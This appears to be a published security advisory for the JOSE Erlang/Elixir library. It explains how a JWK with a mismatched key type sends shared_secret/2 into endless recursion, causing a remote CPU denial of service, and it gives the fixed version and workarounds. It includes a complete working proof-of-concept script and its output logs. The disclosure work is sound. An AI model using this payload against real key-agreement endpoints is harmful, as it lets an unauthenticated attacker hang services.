Infinite recursion (CPU denial-of-service) in shared_secret/2 on mismatched key types
Description
An attacker who can supply a peer public key to an ECDH shared-secret derivation can force JOSE.JWK.shared_secret/2 into infinite recursion. By sending a JWK whose key type (kty) differs from the server's own key, the function loops forever, pinning an Erlang scheduler at 100% CPU and never returning. This is a remotely triggerable denial-of-service.
Details
The vulnerability lives in src/jwk/jose_jwk.erl:962-965, which defines shared_secret/2:
shared_secret(#jose_jwk{kty={Module, YourKey}}, #jose_jwk{kty={Module, MyKey}}) ->
Module:derive_key(YourKey, MyKey);
shared_secret(YourJWK, MyJWK) ->
shared_secret(from(YourJWK), from(MyJWK)).The first clause only matches when both JWKs carry the same kty module — the Module variable is bound once and must unify against both arguments. This same-module binding is the intended guard that blocks a cross-type derive_key.
The problem is the fallback clause. When two #jose_jwk{} records with different kty modules are passed (e.g. an EC key and an RSA key), the first clause fails to match and control falls through to shared_secret(from(YourJWK), from(MyJWK)). Because from/1 returns an already-parsed #jose_jwk{} record unchanged, this re-invokes shared_secret/2 with the identical two records. The first clause fails again for the same reason, the second clause matches again, and the function spins in a tail-recursive loop that never terminates and never crashes.
The guard correctly refuses to derive a key across mismatched types, but instead of returning an error it fails open into an unbounded loop. Any code path that derives a shared secret from a peer's (attacker-controlled) public key and its own private key — without first verifying the curves/types match — is exposed.
PoC
The attached script scripts/jose/infinite_recursion_cpu_denial_of_service_in_shared_secret_2__2311.exs encodes an outside-attacker threat model against a normal ECDH flow, using only the library's documented public entry points.
- Threat model. A server performs ECDH: it holds its own EC (P-256) private key and derives a shared secret from a peer public key that arrives over the wire as an attacker-controlled JWK JSON document. The script mints the server key with
JOSE.JWK.generate_key({:ec, "P-256"}), then builds the attacker payload by generating an RSA key, taking its public JWK, and serializing it to JSON withJOSE.encode/1. The server-side handler is modeled faithfully: it parses the untrusted JSON with the publicJOSE.JWK.from/1and then calls the publicJOSE.JWK.shared_secret/2. No private Erlang function is invoked directly — the attacker input is a raw JSON string handed to the documented parse + derive entry points. - Mechanism. The peer JWK has
ktyRSA while the server key is EC. After both are parsed to#jose_jwk{}records, the same-Modulefirst clause ofshared_secret/2cannot match (the two kty modules differ), so control reachesshared_secret(from(YourJWK), from(MyJWK)). Sincefrom/1returns the records unchanged, the call re-enters with identical arguments and loops forever. - Preconditions. No authentication or special privilege is required beyond the ability to submit a peer public key to a derivation flow — the ordinary shape of an ECDH key-agreement endpoint. A single request of the "wrong"
ktyis enough to consume a scheduler indefinitely; there is no recovery because the function neither returns nor raises. - Reproduction and proof. The script runs
shared_secret/2inside a monitored worker process with a 3-second timeout. If the call returns or crashes, that outcome is reported as NOT VERIFIED. If instead the worker is still running when the timeout elapses, the script kills it and printsVERIFIED: ...— the observed behavior — confirming the call never returned within the window and was pinning a scheduler at 100% CPU. The full script is attached below under "Scripts and Logs" so the reader can run it themselves.
Impact
This is a CPU-exhaustion denial-of-service. Any application that uses JOSE.JWK.shared_secret/2 to derive an ECDH shared secret from an externally supplied peer public key — without first validating that the peer key's type and curve match its own — is affected. An unauthenticated remote attacker who controls the peer JWK can send a key of a mismatched kty and hang the deriving process indefinitely, permanently consuming a BEAM scheduler per request and degrading or taking down the service.
Patches
Fixed in 1.11.13. When both arguments are already-decoded JWKs whose key types differ, jose_jwk:shared_secret/2 / JOSE.JWK.shared_secret/2 now raises {badarg, [ModuleA, ModuleB]} instead of re-entering itself indefinitely. The error names only the key-type modules, never key material.
Workarounds
If you cannot upgrade, check that both keys have the same kty (and the same crv for EC and OKP keys) before calling shared_secret/2, and run key agreement on untrusted input under a timeout.
Scripts and Logs
# Verifies: Infinite recursion (CPU denial-of-service) in `shared_secret/2` on mismatched key types
#
# Threat model: outside attacker.
# A server runs an ECDH flow: it holds its own EC private key and derives a
# shared secret from a *peer* public key that arrives over the wire as an
# attacker-controlled JWK JSON document. The server parses that JSON with the
# library's documented public entry point `JOSE.JWK.from/1` and then calls the
# documented public entry point `JOSE.JWK.shared_secret/2`.
#
# The attacker sends a JWK of a DIFFERENT `kty` (here an RSA public key) than
# the server's EC key. In `src/jwk/jose_jwk.erl:962-965` the same-`Module`
# clause fails, control falls to `shared_secret(from(Your), from(My))`, and
# because `from/1` returns the record unchanged, the second clause re-matches
# forever — a tail-recursive spin that pins a scheduler at 100% CPU.
#
# Nothing here calls the private erlang function directly: the attacker input
# is a raw JSON string, handed to the public parse + derive entry points.
Mix.install([{:jose, "1.11.12"}])
# --- Server side: its own EC (P-256) private key -----------------------------
server_key = JOSE.JWK.generate_key({:ec, "P-256"})
# --- Attacker-controlled input: a JWK JSON string of the WRONG kty (RSA) ------
# The attacker generates any RSA key and sends its public JWK as JSON.
attacker_json =
JOSE.JWK.generate_key({:rsa, 2048})
|> JOSE.JWK.to_public()
|> JOSE.JWK.to_map()
|> elem(1)
|> JOSE.encode()
IO.puts("Attacker peer JWK (truncated): #{String.slice(attacker_json, 0, 60)}...")
# --- Server processes the request exactly as a normal app would --------------
derive = fn ->
# parse untrusted input
peer_key = JOSE.JWK.from(attacker_json)
# derive ECDH shared secret
JOSE.JWK.shared_secret(peer_key, server_key)
end
timeout_ms = 3_000
parent = self()
{worker, ref} = spawn_monitor(fn -> send(parent, {:result, derive.()}) end)
{elapsed_us, outcome} =
:timer.tc(fn ->
receive do
{:result, _secret} -> :returned
{:DOWN, ^ref, :process, _, reason} -> {:crashed, reason}
after
timeout_ms ->
Process.exit(worker, :kill)
:hung
end
end)
elapsed_ms = elapsed_us / 1000
IO.puts("shared_secret/2 elapsed: #{Float.round(elapsed_ms, 1)} ms (timeout #{timeout_ms} ms)")
case outcome do
:hung ->
IO.puts(
"VERIFIED: mismatched-kty peer JWK sent shared_secret/2 into infinite recursion; it never returned within #{timeout_ms} ms and was pinning a scheduler at 100% CPU."
)
:returned ->
IO.puts("NOT VERIFIED: shared_secret/2 returned instead of looping.")
{:crashed, reason} ->
IO.puts("NOT VERIFIED: shared_secret/2 crashed (#{inspect(reason)}) instead of looping.")
end
Logs
Attacker peer JWK (truncated): {"e":"AQAB","kty":"RSA","n":"x9BU0XeEzYMU22lJc67ExIDQWiXz3y0...
shared_secret/2 elapsed: 3000.6 ms (timeout 3000 ms)
VERIFIED: mismatched-kty peer JWK sent shared_secret/2 into infinite recursion; it never returned within 3000 ms and was pinning a scheduler at 100% CPU.